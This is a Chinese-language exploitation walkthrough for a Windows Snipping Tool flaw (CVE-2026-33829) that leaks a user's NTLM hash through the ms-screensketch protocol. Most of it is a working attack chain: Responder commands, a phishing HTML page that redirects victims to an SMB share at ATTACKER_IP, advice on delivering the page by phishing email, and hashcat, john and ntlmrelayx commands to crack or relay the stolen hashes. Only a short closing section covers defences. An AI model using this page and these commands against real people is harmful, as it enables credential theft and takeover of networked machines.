概述

项目 内容
CVE ID CVE-2026-33829
类型 CWE-200:敏感信息泄露到未授权 actor
影响组件 Windows Snipping Tool (ms-screensketch 协议)
严重程度 中等(需要用户交互)
披露时间 2026年4月14日
修复时间 2026年4月14日
受影响系统 Windows 10/11 Snipping Tool(未打补丁)

漏洞原理

Windows Snipping Tool 注册了 ms-screensketch: 深度链接协议,正常用法是加载本地或远程图片:

ms-screensketch:edit?&filePath=\\server\share\file.png&isTemporary=false&saved=true&source=Toast

当 Snipping Tool 尝试加载远程 SMB 路径时,Windows 会自动用当前用户的 NTLM 凭证做 SMB 认证,而不是弹出登录框。

攻击者利用这个机制,构造恶意链接,指向自己控制的 SMB 服务器:

ms-screensketch:edit?&filePath=\\attacker-ip\share\wallpaper.png&isTemporary=false&saved=true&source=Toast

用户访问后,Snipping Tool 尝试加载攻击者的 SMB 共享,Windows 自动发送用户的 Net-NTLM hash。


利用环境

机器 IP 角色
靶机 Windows 10 受害者,运行 Snipping Tool
攻击机 Ubuntu 伪造 SMB 服务器,用 Responder 捕获 NTLM

环境搭建

攻击机(Ubuntu)

# 安装 Responder
sudo apt update
sudo apt install responder

# 启动 Responder,伪造 SMB 服务
sudo responder -I eth0 -v

参数说明

  • -I eth0 — 监听网卡(改成你的网卡名,用 ip a 确认)
  • -v — 详细输出

Responder 会监听 445/139 端口,当受害机连接过来时,自动用固定 challenge 加密 NTLM 响应,拿到 hash。


利用步骤

第一步:攻击机启动 Responder

sudo responder -I eth0 -v

输出类似:

[NTLM] LAN MANAGER/NTLMv2 Challenge/Response detected
[NTLM] Sending challenge: 11111111111111111111111111111111
[NTLM] Authenticating: DOMAIN\username
[NTLM] Partial Hash: e19cc495ac3fd3d2cc5da0de1e83f08c

第二步:构造钓鱼链接

攻击者在自己控制的服务器上放一个 HTML 页面:

<!DOCTYPE html>
<html>
<head>
  <title>Corporate Wallpaper</title>
  <meta http-equiv="refresh" content="0;url=ms-screensketch:edit?&filePath=\\\\ATTACKER_IP\\\share\\\wallpaper.png&isTemporary=false&saved=true&source=Toast">
</head>
<body>
  <h1>点击这里下载新壁纸</h1>
  <img src="wallpaper.png" 
       onerror="window.location='ms-screensketch:edit?&filePath=\\\\\ATTACKER_IP\\\\share\\\\wallpaper.png&isTemporary=false&saved=true&source=Toast'">
</body>
</html>

ATTACKER_IP 换成攻击机的 IP(用攻击机的局域网 IP)。


第三步:让靶机用户访问

方式:

  • 发钓鱼邮件,附上链接
  • 或者托管这个 HTML,通过聊天/邮件发送 URL

当用户用 Edge/Chrome 打开这个页面时,浏览器自动触发 ms-screensketch: 协议,Windows 唤起 Snipping Tool,Snipping Tool 尝试加载 \\ATTACKER_IP\share\wallpaper.png自动发送 NTLM hash


第四步:捕获 Hash

Responder 界面会显示:

[NTLM] Captured Hash:
username::DOMAIN:response_with_lm_and_ntlm:challenge:server

格式类似:

admin::WIN10:5c1a082cf50d7f4c2e33a3de86f7c9a7:112233445566778899aabbccddee00ff:01020304050607080910111213141516

第五步:破解 Hash 或 Relay

5.1 离线破解(hashcat)

# NTLMv2 格式,5600 是 mode
hashcat -m 5600 ntlm_hash.txt wordlist.txt

# 或者用 john
john --format=netntlmv2 --wordlist=rockyou.txt ntlm_hash.txt

如果用户密码是弱密码,几分钟内就能破解出来。

5.2 NTLM Relay(直接拿权限)

ntlmrelayx(Impacket)relay 到同一域内的其他机器:

# 安装 Impacket
pip3 install impacket

# Relay 到目标机器(假设 192.168.1.100 是域内文件服务器)
sudo ntlmrelayx.py -t 192.168.1.100 -smb2support

如果目标机器没有启用 SMB 签名,relay 成功可以直接执行命令,拿下机器权限。


关键限制

限制 说明
需要用户交互 用户必须访问恶意链接或点击触发
同一局域网 SMB 流量需要能到达攻击者机器(445 端口)
SMB 签名可阻止 Relay 启用后 relay 失败,但 hash 仍会被捕获
已修复版本 打 2026-04 补丁后 ms-screensketch: 会对 UNC 路径做验证

防御措施

措施 说明
打补丁 安装 2026-04 Windows 安全更新
SMB 签名 组策略 → 网络安全 → LAN Manager 身份验证级别 → 要求 NTLMv2 + SMB 签名
阻止 445 出站 防火墙阻止到非域控制器的 SMB 出站流量
限制 NTLM 通过组策略禁用 NTLM 认证
网络隔离 关键机器不在同一广播域

工具链总结

工具 用途
Responder 伪造 SMB/DNS/HTTP 服务,捕获 NTLM hash
ntlmrelayx 将 hash relay 到其他机器拿权限
hashcat 离线破解 NTLM hash
john the ripper 离线破解

思维延伸

这个漏洞本质是协议层面的自动认证行为。Windows 的 SMB 客户端在访问 UNC 路径时,会自动用当前用户的 NTLM 凭证做认证,不需要用户确认。这是一个历史遗留设计,在域环境中很方便,但对安全来说是个隐患。

类似的问题还存在于:

  • MSTSC(RDP) 的 restricted admin 模式
  • WinRM 的 NTLM 认证
  • SMB 的 NTLM 认证

这些都是红队工作中经常利用的点。


参考

  • 微软公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
  • 原始报告:BlackArrow Security(https://www.blackarrow.net)
  • GitHub:https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829